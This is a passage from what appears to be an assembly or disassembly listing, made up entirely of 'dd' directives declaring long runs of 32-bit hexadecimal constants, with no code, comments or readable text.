6136862Dh, 573E59B6h dd 1859DFh, 10FF97E8h, 24CC2E39h, 814C73A1h, 43613D2h dd 796BE4D4h, 0B1B6DE00h, 1E966839h, 32D76CEh, 0DF9347C9h dd 0A3D8BB74h, 71009C78h, 0E9E1C17Ah, 0E0A83EB7h, 7D851F1Fh dd 0C20740B9h, 275F84B8h, 9CA25400h, 67065143h, 0D540E566h dd 9DD16Bh, 27C775ECh, 6121C607h, 2B4AA502h, 60417A46h dd 3CD4A276h, 51805C03h, 40BCDEB2h, 0D6097B97h, 41B85483h dd 32FBC8h, 563150Bh, 0CE903421h, 25ADFC1Ch, 0BCC5770Bh dd 0C9F08F21h, 4D3CA723h, 3ACB5A70h, 49851FBFh, 0E4F401Bh dd 3E4A0B52h, 7D396215h, 0D4C516CCh, 2A240446h, 0A2720041h dd 0AAE1927Fh, 1E006606h, 9B34AC96h, 0B1ECA7A3h, 3EC60E50h dd 0B00C9FE2h, 6DDE4A0h, 9C03E0A5h, 88708C93h, 18BBC86Dh dd 1C1B5833h, 1CE73350h, 257FCB0Bh, 0BFD60010h, 8C1EE2F4h dd 0F745367Dh, 1C8854D5h, 68642425h, 84620EB7h, 0BD318282h dd 0A34EFD82h, 5F66F8A2h, 0ED79A840h, 8A008CBAh, 728DEA23h dd 264B0FB3h, 17E11AB5h, 35AC0087h, 4A805D77h, 30B2E7F6h dd 194E322h, 0EE158782h, 5327C283h, 0DF896E8Ch, 63719E57h dd 129BAA06h, 9AA70C11h, 67600FCFh, 0B98C3603h, 0B7AA2D2h dd 37924F21h, 70AFD38Bh, 34034D2Bh, 65E0B1ECh, 800D756h dd 0CECD8072h, 9151678h, 851BEF39h, 0E666DC80h, 2026D0A9h dd 0DF0B736Dh, 0E484005Bh, 7388D4Ah, 53CBCD0Bh, 26FA1059h dd 0D1CBCCD2h, 0F789646h, 566AA45Ah, 28818E42h, 9FF30CAh dd 98D00CFAh, 71D838A5h, 592FB81h, 42E2A387h, 1C12DA94h dd 6527152Ch, 0BD04C4F2h, 0D845D232h, 0AB70B9A8h, 0A518ACA8h dd 4A12B709h, 0BE98A1E6h, 72415Ah, 0F0357E80h, 0D56027EDh dd 85B2FE29h, 477A0F25h, 0D9621948h, 2207F33h, 79A74Ah dd 12529D1Eh, 33150F9Bh, 0E4008C70h, 2D1F22EDh, 2B4342h dd 0D865FCFDh, 77599A5h, 80EB363Ch, 0B69F3876h, 0BB13A10h dd 31A5878Ch, 0C1CE6400h, 65006AA6h, 0C5F53C58h, 0EE9A866Eh dd 9054000Eh, 4D4B1838h, 84014648h, 83A59512h, 0B450721Ch dd 0AFA8E4Eh, 85CB5EBh, 24888084h, 0BE91F7D5h, 0D6E55100h dd 0BC1DD19Ah, 74974F8h, 35177515h, 0F7D2F3BFh, 0FEB94198h dd 0EA203200h, 2C279610h, 44810023h, 123B8C30h, 0E0006A71h dd 37B36F86h, 29B04Ah, 35BA23B6h, 117DC82Dh, 2B950B07h dd 0A5F0A3F9h, 2CB7FB8Ch, 82B8E05Fh, 41B2ADD3h, 10024CE0h dd 0D70F13ECh, 4137703Fh, 79E59330h, 0A31AE4h, 92686ED5h dd 1B93D17h, 0C8B07600h, 1249A6E4h, 9AA83F07h, 22090572h dd 8099B1AAh, 849BB2F4h, 0F4A17007h, 6630C8D1h, 0A4736Ah dd 77114247h, 8281B46h, 0A8EB821Eh, 4441BD4Ch, 867E0034h dd 5C42C067h, 0DD0EAF05h, 0EBB39387h, 183C805Ah, 92D849h dd 9BA32861h, 7305912Fh, 0B8F78A03h, 9040445Fh, 0DFE757h dd 38C49430h, 0C3EC72A2h, 81A6F000h, 0B8EE707Eh, 0CEFF0122h dd 69CEA50h, 0F979D880h, 481AD200h, 2297AB4Ch, 0A44500DEh dd 96411CB2h, 0E10111A2h, 897D26AEh, 5CC2906h, 91B8B4h dd 90A9D324h, 47375FF5h, 6B8D9C07h, 80CBECB0h, 0C33F2B96h dd 0E753DB3h, 8645E089h, 25ACA000h, 70E726Dh, 805F5BBBh dd 0A8A4FB5h, 8E5A0999h, 0E800847Eh, 801C063Eh, 4B193F00h dd 0C29CA847h, 0D3CE00E4h, 21F282B2h, 921290D6h, 6CD0E2B3h dd 0CE5660h, 7EF19808h, 62F01C9Ch, 49378000h, 0EB11F703h dd 52143EACh, 0C334A783h, 83B00EC8h, 5C021B18h, 0B55943A1h dd 690A60CAh, 13A600AEh, 39E2970h, 80053320h, 50B0DAF9h dd 0A7648E00h, 0B35BD6h, 0EDFE5FA2h, 0E9AABF94h, 12D5EC04h dd 8CC03C39h, 0F6464Ah, 3A1A919Bh, 1754D0E8h, 90B43F00h dd 1F4929E5h, 1DED0076h, 0A85C0472h, 700876Eh, 435278DEh dd 7E7036C3h, 0D59702D8h, 0D9AAF8DDh, 0E14E54C0h, 0EA309900h dd 0AE1D1628h, 0D4C7015Dh, 0B4A1E5F4h, 81F52015h, 0D5834000h dd 0C95F8AA0h, 0FCAF008Ch, 24D231CDh, 2700731Fh, 0E795E84Ah dd 1D7A61h, 1679E314h, 0ECA913F8h, 81750900h, 0D8E9C9CEh dd 187F0001h, 895DBC60h, 934CD6CAh, 53490BA8h, 0DE90006Ch dd 3BDB943Dh, 0C8DC9B0Dh, 43CE4F01h, 2ABF6415h, 5D68050Fh dd 0E2828100h, 0A0ED722h, 7EA13835h, 572B0098h, 0E13D596Bh dd 7120770Bh, 0E5CC013Ch, 0DBF8FB9Fh, 5C30033h, 653B554Dh dd 0AF00885Eh, 1960B694h, 0E14CABFh, 0FE85F83Ah, 4D56DAA0h dd 9102FD3Fh, 8621BCDh, 0A19C878Dh, 3887AC90h, 8E8C00C6h dd 0EF25C866h, 2813205Ch, 0AB0C8A11h, 0C036218Fh, 0AC86A29Eh dd 970EAF35h, 2F2EF7DBh, 4E72C019h, 75665Eh, 805141FEh dd 492AEDBBh, 94F84C00h, 0B01C290h, 65FF078Eh, 0A02C6CA5h dd 407E76B8h, 3BB6F07h, 0AFAF4Ch, 0B4C5B9D1h, 54B20058h dd 0B5416504h, 6F004FE0h, 1CDF5B25h, 98AAE69Bh, 8203A028h dd 27DC0035h, 21550985h, 6C00D7C6h, 7E027876h, 314204h dd 4054AD34h, 84A5DD33h, 0C1050A00h, 0F80B27D1h, 64F90788h dd 0F179CD69h, 344808E8h, 4C013D3Ch, 0E478EAC4h, 0E5D0B4B5h dd 11B7000Eh, 4AA4C648h, 8D006845h, 4B9DCF5Dh, 4C85D708h dd 5900F84Ch, 0E567869h, 9A00E433h, 4EBD253Fh, 3827BB67h dd 2A008681h, 5465965Bh, 8A007BE3h, 98DC7425h, 1BF77C8h dd 0FF33118Fh, 6023B1D6h, 416BCE7h, 0E440EE24h, 7FD9B740h dd 0E0CC0031h, 34B3693Eh, 0B600800Ch, 7DD8D3EBh, 317861Eh dd 545EA665h, 72BB8EEAh, 9464CFCAh, 4104A505h, 0CEC4E5BAh dd 183C14E1h, 5513EC04h, 656CA0E9h, 630D007h, 0BD4EE867h dd 0A0130E05h, 0C069100Fh dd 0C9D96D90h, 87461B8h, 3042974Ch, 0D17C6310h, 0CBC3BE07h dd 60C050FAh, 7CC767h, 2D8283CFh, 0EF5F68B0h, 54FB9B02h dd 0E9660F63h, 48402927h, 0CEB1204Ch, 1120C951h, 0B7E9C6EEh dd 0EB6FC318h, 0F86788h, 0E5AA7530h, 0BCC69E95h, 0E9AEEE00h dd 948E4015h, 0DD517967h, 439C50h, 3A55A13h, 0E7F85033h dd 1A57871Fh, 0EC457543h, 0A121E7E9h, 0BC50F705h, 27160DBh dd 1DA27C74h, 0BE60AC9Ah, 69067A1h, 0E0CB3607h, 57F03D7Bh dd 3B69118h, 277FF91Eh, 780ACFD3h, 9CE454BEh, 0E2F5238Eh dd 41810ACEh, 0EC7892DEh, 52F96E8Ch, 0D3EE403h, 97C1A0h dd 32710BC8h, 78F46275h, 68AD1000h, 8A82C7F2h, 39A260FFh dd 721FAFDBh, 922D4800h, 1A5F8B19h, 0D63C0064h, 61BA038Ah dd 74004334h, 0CEE9F47Bh, 2AE59531h, 3A90F6ECh, 91EF73F5h dd 1CBE2588h, 0B680247Bh, 53799BDDh, 0E6813F63h, 0E0067F0Ch dd 7B057731h, 13434495h, 5243780h, 0EDDB1E64h, 4E98611h dd 510051A0h, 8A3B58DCh, 5CA6E6h, 16EDE3CAh, 0A0B2A93Dh dd 0C4F4C07Ch, 7F045D00h, 0FC7EEC14h, 67A51716h, 38D4407Ah dd 0E9D2698h, 80F1313Ch, 0EE0111DDh, 4875A4h, 0AB14A97Dh dd 28DCA00Ah, 8C298867h, 8E0DE740h, 0D6F61EA4h, 0CCB65FFCh dd 0CC2034D3h, 0E91DF91Eh, 2345C643h, 26B6D989h, 18289FF0h dd 281F2FD2h, 0E0008481h, 5F0E4871h, 0ED6E19h, 532C41Ah dd 853143D7h, 4FBA3D06h, 0B03028B8h, 5B951311h, 0E939006Ch dd 80CEB1E1h, 0A0D298C1h, 5A707807h, 3E3F0190h, 28D1544Dh dd 75B98722h, 5E30724Ah, 0E456BFC6h, 377C0014h, 85FB8405h dd 9B00C922h, 0B9CC0747h, 184DAC70h, 41E5295Fh, 0C03101Bh dd 660D1452h, 0DEF9D07Ch, 4BD10042h, 0B1E9DB7Fh, 7039E34h dd 0E39FDDB4h, 1B02F031h, 0E1F1C00Dh, 9BBB60F0h, 0AA8A307h dd 9287B510h, 75E12B96h, 2E09000Bh, 1611BC6Eh, 0DD00F578h dd 495671A1h, 0C302BD17h, 0EE283128h, 0B5059900h, 0A8F4707Dh dd 1A779DEh, 3842232Bh, 0D8B224E6h, 7F001741h, 0F230372Fh dd 1D89581h, 4661DD8Ch, 475C089Dh, 0BD40FCBDh, 0A00E2403h dd 0A3AEF4BFh, 343E03C7h, 0C5B22EF1h, 0BE18091Bh, 40CE8020h dd 991200FDh, 883529D5h, 1303A14Dh, 2BA3C330h, 402801BDh dd 0F1AA5A3Ah, 3418E821h, 49142010h, 4D2A5200h, 0ECA8369Dh dd 0AEEA5818h, 86117188h, 12415602h, 193B2935h, 1611011h dd 97EB1D41h, 80543B7h, 7860816Bh, 75992740h, 0C4779ABh dd 19DA51BCh, 441E8420h, 2930F201h, 90B37ACEh, 0ACB05CE9h dd 8603919h, 0E82181A1h, 15EFB2D8h, 0A006B8FBh, 0E335304Dh dd 0E9FA6568h, 35833E2Eh, 0EAFF4100h, 5557FD58h, 30CAAC29h dd 15114105h, 739F0135h, 41809621h, 0E7072FDCh, 349A304Ch dd 7E556D60h, 0E351C136h, 80956958h, 0F6FD3310h, 4D314B5h dd 0B2FE0330h, 648180B3h, 740321E0h, 0E7A62825h, 13A090E9h dd 27E300F6h, 0F3B04B37h, 9500DC53h, 3850B567h, 6342F4h dd 6DC6C9AEh, 0CFC56501h, 0DFF2FD71h, 5D275200h, 6636EED8h dd 7F4D1D60h, 33003C8Ch, 820B6348h, 0FE745C3Dh, 10CB53Fh dd 0DC898A76h, 4CF8610Ah, 0ECA93FC9h, 246E030Fh, 92337CE1h dd 0D63080F7h, 0FD6D94D2h, 0F9AD0004h, 3BF60A8Fh, 0C93F9C2Dh dd 0DC2906DBh, 74692E6Ah, 0D591803Eh, 8F00D7ECh, 0BBDF4D4Eh dd 1B85E5h, 0CF79744Ah, 663EDE6Dh, 69915800h, 2EEE6387h dd 406265F1h, 81F5C12Dh, 0B7B0F3B5h, 0BCF71A3Bh, 4CAB0058h dd 427894C0h, 70260EEEh, 0FA8CE172h, 0D1000521h, 0FEA6F1C1h dd 578D1Ch, 1636C37Ah, 54E011FFh, 615D2F19h, 59183058h dd 7395C004h, 0FC32E2CAh, 0C1CEC220h, 0C9433F53h, 7A805D3Ah dd 372CF141h, 0EE1568BBh, 3BB88E35h, 14880DAh, 3C0812F4h dd 3E550388h, 0C5BE95C7h, 0ED115107h, 87E02603h, 1ECC1C08h dd 0D2BC30h, 2060B4ADh, 15888CDFh, 4F42036Bh, 0AE3B7F1Ah dd 83767D3h, 0D0E0219Ah, 13DB15Bh, 5CB9FE43h, 0E05504E5h dd 3C01D7D2h, 0D13BC789h, 8BF872A8h, 0EE6A0F43h, 75A0CDE5h dd 0C4028157h, 6154B573h, 0A900E0E0h, 0C7342F20h, 4C44F586h dd 2D301BF7h, 0FE3C0321h, 0DCB83F01h, 0DBE08193h, 212F0898h dd 0FE7E35A1h, 0E1AAD900h, 0AC7BBD4Ch, 25430003h, 5360B3F2h dd 0C0C0B204h, 1036B9BEh, 0D5020064h, 0F1D01EAEh, 0F874C486h dd 0CF37BD00h, 3E399189h, 1C20FD94h, 0D411FB88h, 7848C0BCh dd 6003E8E8h, 0D38A5E0Bh, 4AB8004Bh, 63B6B3C9h, 32003378h dd 0FB0EA16h, 0B0F2D5A8h, 51FE0100h, 0E8026A38h, 2002DB14h dd 0D2F677B6h, 75209E31h, 58308C6Ch, 1049D106h, 6DEC00DEh dd 6029CB66h, 0D00B123h, 2A98785Dh, 3D205C9h, 0E054F409h dd 23B0CA4Ah, 0E8A434EEh, 9BBE9412h, 1D00145Fh, 457DBFD5h dd 0C53301F8h, 0A0D38D5Ch, 0B2080B7h, 23EA4D62h, 0A0495C3Ch dd 0BA093733h, 22422100h, 60B652EDh, 0AFE20016h, 3B8BEAA5h dd 0CD02E90Eh, 0F7458767h, 37F0B043h, 0B85A11FEh, 9F2B8834h dd 54FE0064h, 3BA79A44h, 0F5BE3900h, 26AD1D36h, 0F15D1708h dd 4A9B0152h, 0FEA790F4h, 92E56880h, 17247DBCh, 0C2283C56h dd 0BE5FF9C0h, 184BD2Eh, 63BFB86h, 886679C2h, 603EC7A1h dd 0B84EFE23h, 2E229446h, 0FE20A000h, 54A23AAAh, 0F31B303Bh dd 855FA981h, 0A3A61F00h, 573DFCEBh, 393B603Ah, 44AC4E9Dh dd 0E732D400h, 5554946Fh, 0BDE00016h, 0D9614588h, 3800BC34h dd 0E5D5B2C1h, 15F21F56h, 0B8913F39h, 8D4CB862h, 0CF70400Fh dd 48948FFh, 0F04B3F61h, 886CCF82h, 0E0CCC7F7h, 45F67C18h dd 0DE0BE302h, 0A071DCD8h, 0BE5246A0h, 3431004Bh, 0AFEF15E6h dd 0C015174h, 1B98A626h, 3DCCF4C5h, 0E4F1C064h, 0DC0F1530h dd 79034FFEh, 35554D85h, 1C21753Fh, 0C09DF4FAh, 0AAA6661Eh dd 0E338D4C3h, 0B6B29853h, 32B8F78h, 8D73DA04h, 0B100F918h dd 0F53EC485h, 33FDB2Fh, 90A1FE66h, 2104F8BBh, 0D50988CCh dd 933E78C1h, 69DCE980h, 0ACAC5A6h, 13738F00h, 25C9A454h dd 4593042Bh, 9D3828EAh, 5C68A95Ch, 43FE2881h, 0E3CBCh dd 5FFE216Dh, 0C301B6Ch, 0B447187Bh, 5D3C0690h, 12E7808Bh dd 0FC2B611Ah, 0FE6901E5h, 0F33D0D52h, 0BCF45209h, 13FBAE2Dh dd 67962C8h, 692A6E0Ch, 5A5E000h, 0B227436Dh, 0F020EB2Ch dd 4816888Dh, 5C19B400h, 2F38CC61h, 6E84A0A9h, 0C633010Ch dd 0F447E14h, 6990208Dh, 5823D400h, 0BB3E52B6h, 220B00FEh dd 0B1177FBFh, 0AE30E0CDh, 0B80F40A6h, 70145843h, 0CF5EA01h dd 0DCB1C3C4h, 4C2CB7E2h, 33D1108h, 57AFA6D6h, 4142E23Fh dd 9FDC11E7h, 0ADE302F5h, 3ADD6672h, 0AA61B46Fh, 8411ED34h dd 20901AE5h, 61EBDD84h, 0C048BB9Fh, 0D89D0057h, 971119ABh dd 761E65DCh, 0E817521Bh, 808B8008h, 343D0CD5h, 1001F1BFh dd 0B7E5259Ah, 0D850A7DFh, 1C341D5h, 0BF2097CCh, 74F001B5h dd 0A5EA4598h, 4A2FD217h, 21BCAC0Fh, 0C4590CA9h, 0F0BBD5F0h dd 0D45E5073h, 231F2689h, 90BD144Ah, 1316B016h, 6EB90F9Ch dd 18B518DFh, 0A002F2A5h, 18879E94h, 0B9E46895h, 7DF62833h dd 9A38008Ch, 0DBCE645Eh, 0C62CE3F7h, 0E0823C55h, 3EF01AAh dd 74C11A52h, 81C84599h, 802D6E20h, 37442628h, 39918E29h dd 5C5903FEh, 4AEFAB12h, 0C0046350h, 43B18635h, 9A41CA01h dd 628E45B8h, 28893860h dd 24CC3F4Bh, 734807Dh, 0A1E76D09h, 3010170Eh, 151ABC74h dd 60306B74h, 1CD4C2Ch, 0AC868D56h, 20ED4357h, 701208B4h dd 7C0517EFh, 280330CAh, 410B4801h, 62E1EC19h, 0C6B89985h dd 1DE420DFh, 0B653AE61h, 9C40060h, 4B86DCD7h, 85A8C83Bh dd 1E700F86h, 92908159h, 24B7B340h, 59D00A52h, 1348E008h dd 0E2680585h, 0B57C4A44h, 88F5C484h, 0E40DD5E0h, 18922314h dd 11BC8401h, 94934510h, 75320892h, 196F9067h, 861E1AFBh dd 7A8AA0Eh, 1288CAEAh, 95AD604Ch, 6B1FC24Eh, 5601EB80h dd 277C2FA5h, 10898187h, 2E343C7h, 0E5383100h, 0BE0897DAh dd 668118C4h, 142A5970h, 0CA61CA0h, 77FE240Bh, 20888909h dd 81AACA1Ch, 11C06094h, 0E5931A02h, 0CD2EF113h, 80B58008h dd 4436806Ch, 8900244Ah, 184041F7h, 0F020ABA6h, 94B6069Eh dd 10A50DA4h, 5244D700h, 95B21636h, 309B06E2h, 69C1A480h dd 831E9481h, 0CAF309C1h, 70ECE8F5h, 0A04955EBh, 99B1020h dd 4DA490F7h, 0DEB0DCA0h, 594DC471h, 0D058260Ch, 5C35F740h dd 0E0DA24DFh, 66890528h, 0AAD440D9h, 0E288B354h, 0ED7080F9h dd 0E3E137DFh, 2058BACAh, 4085B72Fh, 0AB0D9344h, 3B400C68h dd 20DAE40Eh, 199BEC09h, 0B017C42h, 0E225DDF9h, 3F367C22h dd 37558852h, 72108A54h, 0B411BCF5h, 0C92D9300h, 0E30882FDh dd 23D540C0h, 4887BF02h, 81302CF6h, 84E013B1h, 141032F9h dd 100C83DBh, 0AA829698h, 8822874Dh, 0BD530369h, 0D13D7100h dd 0E8A05A2h, 58F3B89Dh, 0EA81D83Ah, 60EB14ACh, 0F239571Bh dd 0B150006Dh, 0E5C8BE7h, 0EE290F86h, 0E149AC03h, 0EADF80A2h dd 9ED3F048h, 93A64E1Eh, 0E856C9C0h, 11961F81h, 0F7755Ah dd 6551AB48h, 7636AF23h, 6C88001Bh, 0B8342578h, 0CDE84B40h dd 9637CB0Eh, 0B24820ADh, 253BA04Ch, 82014B5h, 1EA6BE36h dd 0DFE02715h, 74127CACh, 4FF052Bh, 0C83BEE3Ah, 89030834h dd 4381A91Bh, 0B564C0D7h, 80A89459h, 565180C2h, 500C19Fh dd 23C5855Ch, 64EF4197h, 497C4843h, 0B6BCC82Ah, 848900A8h dd 65EDE62h, 0F8FA18FAh, 0DB276E00h, 57B29AC0h, 48B57032h dd 0E726A80Fh, 64493064h, 3A0A0A70h, 8CAB184Ch, 538C6180h dd 38AC4FFh, 0ECA26BFh, 6A906F14h, 4702ADA7h, 3C1BFEA1h dd 0BDC040B2h, 623900EEh, 819DC97Bh, 0D105471Ch, 0D6020AF7h dd 0EA042Fh, 0B2861311h, 0FEB1BCF9h, 3DA5318Fh, 0C0B74D20h dd 0C2161FC1h, 0F10CD183h, 39EA3984h, 1D00B907h, 3E67DE5Ch dd 0A105946Fh, 70C323E8h, 6E43007h, 0E6C75125h, 0BE714B0h dd 7B90F0E5h, 9F8D005Bh, 0A28B236Dh, 3FCB8BAh, 64239C7h dd 0FA5E670h, 0BCA930B0h, 33360419h, 68002771h, 61871523h dd 13A8332h, 114B2F2h, 9EF4A597h, 8C793780h, 182E7742h dd 59F9C6D9h, 73006986h, 9B8D491h, 6FC46CBh, 51D3111Ah dd 9401C13Bh, 6286124Ah, 93C4012Bh, 0BBA30089h, 33BE4895h dd 40A70F8h, 0A0BC113Bh, 530A2601h, 6180885Eh, 69FEE0D7h dd 0EF0CEE09h, 8C631BCh, 0F061C365h, 37B8FEFAh, 5B00F1C1h dd 0D27612DCh, 30167F28h, 0D849B13Eh, 9A1E9845h, 600551Bh dd 13E2E3D9h, 161C1880h, 39C4D829h, 0CE280100h, 484F8B5Dh dd 5F41030Dh, 0E39121E9h, 0FCB9D2E9h, 6A3B763Fh, 8E3880E4h dd 0CD085DF2h, 515C0079h, 5246A63Dh, 4005A22h, 1A170A49h dd 0E0803A9Eh, 0BAA820FFh, 29AAF700h, 243CD08Fh, 87F01982h dd 80B4084Ch, 8F504D21h, 18AA86FAh, 1914BDC3h, 0D8A660BEh dd 1986A930h, 7AF8BF20h, 5C10026Dh, 381673DCh, 17035444h dd 7C3FA35h, 0BD39F813h, 91EB3260h, 5A300699h, 4B79118Fh dd 109F8E4Ch, 8F514A01h, 60380618h, 20014B3Dh, 0BBE3B737h dd 5DD07FFFh, 3011CDEh, 125144D6h, 689490E1h, 0BC003D95h dd 8501760h, 1137601h, 0FC527F04h, 201BDF9Fh, 2100E280h dd 0D0552279h, 11C699h, 0EE86316Fh, 5BDD0E0Fh, 7406C324h dd 8F61BE44h, 8BD0D939h, 74082270h, 0AFC106BFh, 0B80331A8h dd 0CCD45118h, 0A6B88DEh, 0CB7C0034h, 357156EFh, 4F77ABFFh dd 0D6388406h, 3912A1h, 4B6CE20Ah, 50600890h, 0FB83860Eh dd 211E8C1Ch, 4B0505D0h, 202585A9h, 3D278EBCh, 490621C0h dd 44A8EA21h, 68006DDAh, 65384361h, 938D88h, 90E2639Bh dd 51508A2Dh, 42CDF601h, 5EA373Bh, 90BB61D0h, 7E8A694h dd 566B4360h, 6EBFA01Ch, 3814FD70h, 39885D15h, 6238164h dd 0CF8F0D66h, 0AC717986h, 0F401417Fh, 0FAE1BEA7h, 0CBF17621h dd 641D198Bh, 15A0478Eh, 4DFEDD8Dh, 9F44674Ch, 0D280D4A9h dd 2753DAACh, 0EA767871h, 80615459h, 2C4D00BCh, 83047FFEh dd 6D0099B1h, 0F52B1954h, 92E2C198h, 888F15E8h, 0AB139415h dd 0E8404056h, 0C8AF2BB1h, 0BBF3AE00h, 11EB3915h, 0ADF209h dd 3F2E4DB6h, 10B03703h, 541FE491h, 6A9BDC40h, 36343Bh dd 0B3F87DC5h, 3CA904BFh, 0C4816892h, 0A66980C3h, 0C280123Eh dd 78B700F9h, 0ACD1326Ch, 99182783h, 4529BDABh, 877C00E1h dd 498AAA8Eh, 0FD01E49Bh, 0E75113E9h, 0EAFC715Eh, 5D36076Eh dd 0C065D9DCh, 6233C811h, 5A003C98h, 9EF9FF32h, 902283C0h dd 5D4403C8h, 20E7FB37h, 8F14103Eh, 0C2F4BA70h, 48035184h dd 1258D8h, 83EA3A97h, 0B387FCEDh, 8B67E703h, 0A2A9714Eh dd 0E8A08A3Ch, 28830411h, 5CFAD38Fh, 0F8105E31h, 73008F21h dd 0D8EF72A0h, 16462679h, 20990DA1h, 398C4974h, 0BA016491h dd 131CAA42h, 0BEBF1180h, 0B6E511A4h, 0EA15F802h, 407357A5h dd 483F6316h, 0A1222C53h, 45F8200h, 36B306CFh, 7F4E001Fh dd 5408E2DEh, 1C37AD71h, 0F905985h, 8F872Dh, 42321F2Eh dd 0C3EB0947h, 0EE39202h, 4C7AD639h, 4B6704D0h, 61680891h dd 0D103D0E8h, 0C5214B80h, 9D780C00h, 0EA518558h, 1A6E65Dh dd 0A81D6FCCh, 0F069B93Eh, 2892170Fh, 0F9324B00h, 37FB2225h dd 0FC3F001Fh, 4F5D3C2Bh, 230EBEFDh, 84422E49h, 4CC8A94Eh dd 0ED800090h, 0B2F0CF50h, 720C0B7h, 4F021DD4h, 1EF25373h dd 3285C6C0h, 0A15039B8h, 8E04DCE0h, 65366112h, 96C1C81h dd 0C1D4EA21h, 0BD970C83h, 7E582627h, 9E59457Bh, 0A0FF0174h dd 0E952611Dh, 277E3980h, 53D32A66h, 0C9DF20C5h, 0D5B52401h dd 2830B426h, 0C2A10A76h, 401867F6h, 0F7A63045h, 5B0E7909h dd 80B4420Fh, 448AF196h, 0F3EF3E89h, 6ECDFD80h, 55168B60h dd 34CA3D13h, 0C3A5BD00h, 0ECFA9983h, 0B56F011Eh, 535EC071h dd 2597FCCAh, 80B9D933h, 0C6B83D64h, 630156A0h, 71B689CAh dd 5C3207BFh, 79F45703h, 0F1075A58h, 593550D6h, 8B784681h dd 5D0A29E0h, 91802020h, 0F60968FEh, 0E3F10087h, 87D734FEh dd 3F0C1100h, 969B2721h, 6FB40F42h, 0EEC0836Ah, 6718F6E3h dd 0F0B3AC2Ah, 98E5EC01h, 5F093D3Eh, 3A920DCh, 0E4177CCh dd 0B5C0951Bh, 351C516Ch, 56C73DDEh, 805B1F8Fh, 4B9A4F1Ch dd 8EF63761h, 644DE0F0h, 0E9C05016h, 65FFE2D6h, 9014988Bh dd 0D4D154E8h, 0A58A70D8h, 603CE474h, 0AB118Dh, 0A59FBD7Dh dd 0C9C70D9Dh, 0BA7B4C04h, 4886EA60h, 0F0249130h, 2C8602B6h dd 40F810B3h, 0A9761308h, 75FC8A73h, 191BE0Eh, 7CE02170h dd 0DFD0EF2Fh, 0C5F90ED0h, 782183C2h, 60DCCBABh, 0ED2430CEh dd 38122095h, 1F10F42Fh, 8EEDC0D6h, 98E6E269h, 740E00B8h dd 5561EBCh, 60C4D636h dd 0C11C9959h, 320F808Fh, 5086C464h, 0CFB66900h, 0F3949FE0h dd 0B0F0001Bh, 1E271957h, 45079EBFh, 4D391809h, 84F1670h dd 0B4781C22h, 1CB900C3h, 0A19C5BFDh, 0EC62DD00h, 3B6EDCCCh dd 0D79A0025h, 0D9BFD0BDh, 0EF2E26FAh, 0DA00478Ah, 0E21EDB50h dd 0B93101D1h, 0D7D50D35h, 8EF5E010h, 0DED29903h, 0ADD6FB53h dd 4B1A046Eh, 41E4883h, 10D5FB3Eh, 0A41F4997h, 802DD0F4h dd 53CD619Ch, 0EFFB4057h, 79397A66h, 3E173408h, 0CA61C738h dd 0C118B020h, 85032F84h, 7DFA96CAh, 46D11082h, 185068DDh dd 4CD5E88Ah, 0A669561Bh, 520C8078h, 0D71CA1D1h, 4D1071B1h dd 50B2F2D5h, 42601028h, 888F26Fh, 56D5C004h, 0D3F8602Ch dd 378B44A0h, 0D116C8CCh, 191CA652h, 70BEFAEFh, 5456D103h dd 14145F0Ch, 0CB1F4C55h, 405B14FCh, 605029DEh, 0EBEFADD3h dd 18F78700h, 937AA2A4h, 0D670A8D1h, 43AB073Ah, 0D315EE72h dd 842E1D9h, 42FB4FCh, 0A87F7CACh, 0EFAC10C5h, 5719B420h dd 0AAC80034h, 5F27709h, 0B810D050h, 1980CD8Eh, 0DAED872Fh dd 0A9F1DB11h, 0BA0D9E0Ch, 69C6D839h, 185925E7h, 49C85049h dd 0F00130B3h, 3F6570D7h, 3630A81Ah, 90154973h, 2D410A01h dd 87D420B0h, 0A302F010h, 7DD85390h, 0B9CC3045h, 3F0B5969h dd 0EB486F60h, 49F1C4h, 511C8973h, 5ED28CF0h, 28E8F698h dd 0CB58710Eh, 4FA5424Ch, 8C0DE2DDh, 1A98A0E0h, 87DCEB0h dd 0E09AB2C1h, 0E76C7844h, 67264921h, 402B08D4h, 801F10CCh dd 0AE1C0700h, 0E6DE7356h, 0A62D0092h, 964306C1h, 45B881F2h dd 2CB07700h, 0E4688F9Ch, 0E99B60E3h, 785CA383h, 8113E800h dd 55BA10CDh, 6D778033h, 0D11B401Fh, 0C95E90C6h, 95540089h dd 0A6CFDEF8h, 4A1E70FDh, 0C4C339EFh, 8601EACDh, 0ED3A0529h dd 7235B90h, 0C18BC860h, 21DC50D3h, 2AF840B4h, 0B90146F8h dd 0EAD7C61Eh, 31B3C35Ah, 803AEE1h, 5CF58224h, 0C8380026h dd 8DDE831Dh, 7202A64Dh, 0F1851E0Eh, 0A510844Ch, 0F8E7EC87h dd 6014505Ah, 0D8B040A8h, 1EE78409h, 4FF800D9h, 3FC7E1E8h dd 0E9064596h, 506253DAh, 422CDD49h, 0DC1098A8h, 0F17E3CEDh dd 15542413h, 0E728604Bh, 0D338C089h, 0FA9F80BDh, 0B091B8A5h dd 0C9803288h, 0E8DBCAFBh, 5D0D0FF7h, 0A008674h, 7772C3CFh dd 0AB9B7006h, 1C28D337h, 0D8F7A9C5h, 135958DBh, 1EB1DE00h dd 6BEAD4D6h, 0A0457F8Fh, 7FBFAABh, 3A29D232h, 3D580CCh dd 0C8C0024Fh, 77CD5D9Fh, 10420085h, 0D0F46FB2h, 0D148EE0Eh dd 6A12250h, 4357D387h, 300AC8D6h, 903FF184h, 4D4068A8h dd 520844F8h, 7EFD7803h, 40A2F285h, 0F8D9D829h, 0D83D14CAh dd 0ACB08C72h, 0CD048DE2h, 2DAF5EB2h, 0C40511Ah, 9660097Fh dd 472A0310h, 245BEE48h, 0E2304A1Ch, 146A4957h, 0A1D62C80h dd 0D150369Ch, 42E9444Ch, 60A53AF0h, 0F7F406A6h, 850329F6h dd 58E11ABCh, 0D915E81Bh, 99CB03D0h, 78CC5E80h, 1C454022h dd 83D95453h, 27E76211h, 0CD5EB119h, 0AC08A329h, 0DBF5D614h dd 0D8B6123Ch, 5877880Ah, 19215241h, 629023D3h, 3C76502h dd 60F081D2h, 0DDE8E6B1h, 47AC007Ah, 0D4EE1143h, 0B0C1D209h dd 3C8F538Dh, 48978E70h, 0E501B8A8h, 0DF4525FFh, 427891ABh dd 0C3D40A01h, 748FF2A6h, 3728A874h, 1F78B003h, 70814484h dd 98689688h, 449C2A5Ch, 0DC6400D4h, 49C2FBE3h, 3A00AC5Eh dd 0C487E843h, 9A4D230h, 7D41F780h, 43AB0C04h, 0C2843B13h dd 0A38C90CDh, 19E8F880h, 81DBED20h, 